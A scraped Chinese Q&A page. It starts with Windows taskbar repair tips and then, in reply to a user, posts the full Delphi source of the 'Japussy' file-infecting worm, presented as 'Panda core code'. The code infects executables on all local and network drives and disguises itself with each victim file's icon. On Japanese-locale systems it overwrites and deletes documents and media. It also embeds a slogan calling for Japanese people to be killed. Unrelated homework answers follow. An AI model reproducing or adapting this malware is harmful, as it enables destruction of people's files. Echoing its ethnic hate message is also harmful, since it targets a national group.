所有在线的大哥大姐 帮俺个小小菜鸟一件事情

作者&投稿:房贸 (若有异议请与网页底部的电邮联系)
各位高手大哥大姐帮帮我这个菜鸟~

电脑上装个MOTO驱动,建议你去bbs.it168.com去看,上面什么都有,很全的,我在这边一下子也说不清楚,那上边很全的,什么问题都能解决,你去你手机的专区

您可以看看在任务栏或者开始菜单里有没有。

1、按动键盘上的F11键。

2、按windows健(位于ctrl和alt中间),显示出开始菜单,在空白处单击右键,点击“属性'',打开“任务栏和开始菜单属性”,在任务栏中选中“自动隐藏任务栏”,应用后再取消选择。同时选择“锁定任务栏”

任务栏假死现象解决办法:打开控制面板->“日期、时间、语言和区域设置”->“区域和语言选项”->“语言”->“详细信息”->“文字服务和输入语言”->“高级”,选中“关闭高级文字服务”,点击“应用”->“确定”保存设置即可。

缺点:输入法切换栏消失,只能用快捷键“Ctrl+Shift”来切换输入法了。

3、可能是系统没有正常加载系统文件造成的。按“ctrl+alt+del''打开任务管理器,点击文件,新建任务,输入explorer.exe,确定。

4、频繁地安装与卸载应用程序、不正常关机、非法操作等,都会造成桌面图标丢失,甚至任务栏被破坏的情况。

系统任务栏被破坏,单击“开始→运行”,键入“Regedit”后回车,然后在注册表编辑器中依次展开

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplore]分支,删除右侧窗口中的“StuckRects”主键,重新启动计算机就可以重现任务栏了。

任务栏上图标也会失而复得。

5、使用ObjectDock软件时注意,点击“Enable ObjectDock”,在“ObjectDock Properties”选项上点击“Dock Contenls”,取消对“Hide the windows taskbar”选择即可。

6、任务栏消失,可能是“吞噬”任务栏的蠕虫病毒“威尼亚” (I-Worm/Mujpider.b),该病毒不但会占满中毒者本机资源,还可以通过邮件和聊天工具传播。

7、用windows XP安装盘选择修复安装explorer.exe。
这是别人的解答,您先试试。

既然你崇拜李俊大哥.那给你熊猫核心代码吧.
呵呵.
代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.

~~~~~~~~~~~~~~~~~~~~~~~~

完毕!

S13


柯坪县15233936384: 所有在线的大哥大姐 帮俺个小小菜鸟一件事情 -
英毓头孢: 既然你崇拜李俊大哥.那给你熊猫核心代码吧.呵呵.代码:--------------------------------------------------------------------------------程序代码program Japussy;uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const HeaderSize = 82432; //病毒体的...

柯坪县15233936384: 辩论:同学过生日请你去吃饭有什么不好?我是正方,也就是说好的一方,请大哥大姐们帮帮我把!没有的话^^^呜呜`~~有我加悬赏!要有能说服别人的理由! -
英毓头孢:[答案] 这是同学之间增进关系的一种方式, 成年人也是这样的, 但要看你吃的饭的标准了, 如果是太浪费的话, 那就不对了, 如果是一般的,那没什么.

柯坪县15233936384: lnx= - 1/2 解得X为多少?急用...各位大哥大姐帮俺! -
英毓头孢:[答案] 可直接求得: x=e^(-1/2) =1/e^(1/2) =1/√e =(√e)/e e是一个无理数,所以一般像这类题目,是不用算出它的实际值的,除非事先有约定.其中,√e表示根号e的意思.

柯坪县15233936384: Shopping habits in the United States have changed greatly in the last quarter of the 20th century.这一句是出自哪篇文章啊?这是开头句哈 我想要全文知道的大... -
英毓头孢:[答案] Shopping habits in the United States have changed greatly in the last quarter of the 20th century. 1.Early in the 1900s most ... 它的两侧排列着各种各样的商店.在这儿,购物者走进商店就能看到所有的商品:衣服,家具,五金器皿和杂货.此外,有些服...

柯坪县15233936384: 一个菜鸟鼓捣出的郁闷状况~~有没有大哥大姐肯帮忙ya? -
英毓头孢: 你应该是隔离了显示桌面的程序,试试 任务管理器-文件-新建任务-系统盘符:\WINDOWS\explorer.exe 这就能显示桌面了.然后运行卡巴斯基,找到报告和数据文件-隔离,再找到你隔离的项右键恢复,应该可以了.

柯坪县15233936384: 智子疑邻中富人面对儿子和邻人之父的劝告,态度有什么不同?产生这两种不同态度的原因是什么?各位好心的大哥大姐!帮帮我把!我很急啊! -
英毓头孢:[答案] 原因是因身份不同遭到了不同的对待

柯坪县15233936384: 俺是菜鸟,穷学生一个最近想攒台2000元的主机大哥大姐给小弟出个主意吧.我在这里谢谢了. -
英毓头孢: CPU:AMD 速龙3600+ X2(65纳米) 460元内存:威刚 万紫千红DDR2 667 1G 280元主板:七彩虹A69G-K 460元显卡:集成硬盘:西数80G 串口 300元DVD光驱:120元声卡:集成网卡:集成机箱电源(350W):320元共:1940元(本价格为电脑城报价,一般情况下还可以砍下的,但有一定的波动)显示器买个二手的CRT吧,200元.用到毕业后直接卖了,当路费回家.

柯坪县15233936384: 巫师可以有自己的召唤兽吗?怎么弄的?我是个新手菜鸟大哥大姐们帮帮?
英毓头孢: 不可以,召唤师(牧师)才可以

柯坪县15233936384: “今年暑假”用英语怎么说?可对于我这个年龄段的人来说却很有难度的啦!希望大哥哥大姐姐帮帮我! -
英毓头孢:[答案] this summer vocation/this summer break/this summer holiday

柯坪县15233936384: 各位大哥大姐 给我点词给我点词 像 思念 牵挂 在乎 这类的词 越多越好 -
英毓头孢:[答案] think of/miss/yearn/long for/have in mind/keep in mind/care for/worry for/concern about

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网